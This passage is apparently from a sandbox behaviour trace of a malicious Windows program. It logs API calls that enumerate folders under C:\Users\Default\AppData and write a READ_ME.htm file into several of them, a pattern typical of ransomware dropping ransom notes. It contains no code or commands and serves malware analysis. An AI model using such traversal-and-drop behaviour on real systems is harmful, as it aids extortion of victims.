cAlternateFileName="")) returned 1 [0142.420] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0142.420] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0142.420] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0142.420] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.420] SetErrorMode (uMode=0x0) returned 0x1 [0142.420] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData", lpFilePart=0x0) returned 0x18 [0142.421] SetErrorMode (uMode=0x1) returned 0x0 [0142.421] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\*" (normalized: "c:\\users\\default\\appdata\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.421] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1 [0142.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalLow", cAlternateFileName="")) returned 1 [0142.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 1 [0142.422] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2c805c8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Roaming", cAlternateFileName="")) returned 0 [0142.422] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.423] SetErrorMode (uMode=0x0) returned 0x1 [0142.423] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local", lpFilePart=0x0) returned 0x1e [0142.423] SetErrorMode (uMode=0x1) returned 0x0 [0142.423] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*" (normalized: "c:\\users\\default\\appdata\\local\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xddd35f67, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xbd7f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0142.424] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0142.424] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.424] SetErrorMode (uMode=0x0) returned 0x1 [0142.425] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local", lpFilePart=0x0) returned 0x1e [0142.425] SetErrorMode (uMode=0x1) returned 0x0 [0142.425] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\*" (normalized: "c:\\users\\default\\appdata\\local\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x93e4774a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0142.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0142.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x62cd4800, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xddd35f67, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0xbd7f0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1 [0142.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0142.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b57a40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0142.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0142.426] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0142.426] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0142.427] SetErrorMode (uMode=0x0) returned 0x1 [0142.427] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Application Data", lpFilePart=0x0) returned 0x2f [0142.427] SetErrorMode (uMode=0x1) returned 0x0 [0142.428] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\*" (normalized: "c:\\users\\default\\appdata\\local\\application data\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0142.433] SetErrorMode (uMode=0x0) returned 0x1 [0142.433] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Application Data\\READ_ME.htm", lpFilePart=0x0) returned 0x3b [0142.433] SetErrorMode (uMode=0x1) returned 0x0 [0142.433] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Application Data\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\application data\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.436] SetErrorMode (uMode=0x0) returned 0x1 [0142.436] GetFileType (hFile=0x1d0) returned 0x1 [0142.437] WriteFile (in: hFile=0x1d0, lpBuffer=0x293db58*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x293db58*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.438] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\History", lpFilePart=0x0) returned 0x26 [0142.438] SetErrorMode (uMode=0x1) returned 0x0 [0142.438] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\*" (normalized: "c:\\users\\default\\appdata\\local\\history\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0142.439] SetErrorMode (uMode=0x0) returned 0x1 [0142.440] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\History\\READ_ME.htm", lpFilePart=0x0) returned 0x32 [0142.440] SetErrorMode (uMode=0x1) returned 0x0 [0142.440] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\History\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\local\\history\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0142.578] SetErrorMode (uMode=0x0) returned 0x1 [0142.578] GetFileType (hFile=0x1d0) returned 0x1 [0142.578] WriteFile (in: hFile=0x1d0, lpBuffer=0x2943550*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2943550*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0142.580] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Local\\Microsoft", lpFilePart=0x0) returned 0x28 [0142.580] SetErrorMode (uMode=0x1) returned 0x0 [0142.580] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\*" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0142.580] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.580] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0142.580] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0142.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0142.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cae6a0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96e13f, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0142.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62cd4800, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0142.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62c3c280, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0142.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62c3c280, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1 [0142.581] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1 